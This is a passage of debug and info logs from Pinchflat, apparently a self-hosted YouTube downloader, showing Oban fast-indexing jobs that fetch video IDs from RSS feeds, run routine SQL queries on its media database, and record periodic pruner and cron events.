s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 01:00:43.350 [debug] QUERY OK source="tasks" db=0.0ms idle=634.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [487, 2, ~U[2026-07-24 01:00:43Z], ~U[2026-07-24 01:00:43Z]] 01:00:43.350 [info] {"args":{"id":2},"id":483,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":635355,"event":"job:stop","queue_time":531786,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:00:43.716 [info] {"args":{"id":1},"id":484,"meta":{},"system_time":1784854843716092845,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:00:43.716 [debug] QUERY OK source="sources" db=0.0ms idle=365.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:00:43.716 [debug] QUERY OK source="settings" db=0.0ms idle=365.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:00:43.716 [debug] QUERY OK source="media_profiles" db=0.1ms idle=359.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:00:43.716 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:00:43.716 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 01:00:43.906 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:00:43.906 [debug] QUERY OK source="media_items" db=0.2ms idle=190.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:00:43.909 [debug] QUERY OK source="media_items" db=2.0ms idle=190.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 01:00:43.909 [debug] QUERY OK source="tasks" db=0.0ms idle=192.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [488, 1, ~U[2026-07-24 01:00:43Z], ~U[2026-07-24 01:00:43Z]] 01:00:43.909 [info] {"args":{"id":1},"id":484,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":193581,"event":"job:stop","queue_time":981910,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:00:55.103 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.792 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:01:25.105 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:55.106 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.792 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:02:25.107 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:55.108 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.794 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:03:25.110 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:55.111 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.795 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:04:25.112 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:55.113 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:57.992 [info] {"args":{"id":3},"id":485,"meta":{},"system_time":1784855097992327693,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:04:57.992 [debug] QUERY OK source="sources" db=0.1ms idle=933.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 01:04:57.992 [debug] QUERY OK source="settings" db=0.0ms idle=933.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:04:57.992 [debug] QUERY OK source="media_profiles" db=0.0ms idle=933.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:04:57.993 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:04:57.993 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 01:04:58.637 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:04:58.637 [debug] QUERY OK source="media_items" db=0.3ms idle=645.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:04:58.640 [debug] QUERY OK source="media_items" db=1.7ms idle=645.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 01:04:58.641 [debug] QUERY OK source="tasks" db=0.0ms idle=647.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [489, 3, ~U[2026-07-24 01:04:58Z], ~U[2026-07-24 01:04:58Z]] 01:04:58.641 [info] {"args":{"id":3},"id":485,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":648715,"event":"job:stop","queue_time":519214,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:05:00.796 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:05:25.114 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:55.115 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.797 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:06:25.116 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:55.117 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.798 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:07:25.118 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:55.119 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.799 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:08:25.120 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:55.121 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.800 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:09:25.123 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:55.125 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.801 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:10:25.126 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:44.356 [info] {"args":{"id":2},"id":487,"meta":{},"system_time":1784855444356598745,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:10:44.356 [info] {"args":{"id":1},"id":488,"meta":{},"system_time":1784855444356645696,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:10:44.357 [debug] QUERY OK source="sources" db=0.1ms idle=1297.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:10:44.357 [debug] QUERY OK source="sources" db=0.0ms idle=1298.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:10:44.357 [debug] QUERY OK source="settings" db=0.0ms idle=1008.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:10:44.357 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:10:44.357 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:10:44.357 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:10:44.357 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:10:44.357 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 01:10:44.357 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:10:44.357 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 01:10:44.684 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:10:44.685 [debug] QUERY OK source="media_items" db=0.3ms idle=327.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:10:44.685 [debug] QUERY OK source="media_items" db=0.2ms idle=328.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 01:10:44.686 [debug] QUERY OK source="tasks" db=0.0ms idle=328.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [490, 2, ~U[2026-07-24 01:10:44Z], ~U[2026-07-24 01:10:44Z]] 01:10:44.686 [info] {"args":{"id":2},"id":487,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":329959,"event":"job:stop","queue_time":1006028,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:10:44.952 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:10:44.952 [debug] QUERY OK source="media_items" db=0.3ms idle=266.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:10:44.955 [debug] QUERY OK source="media_items" db=2.0ms idle=266.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR 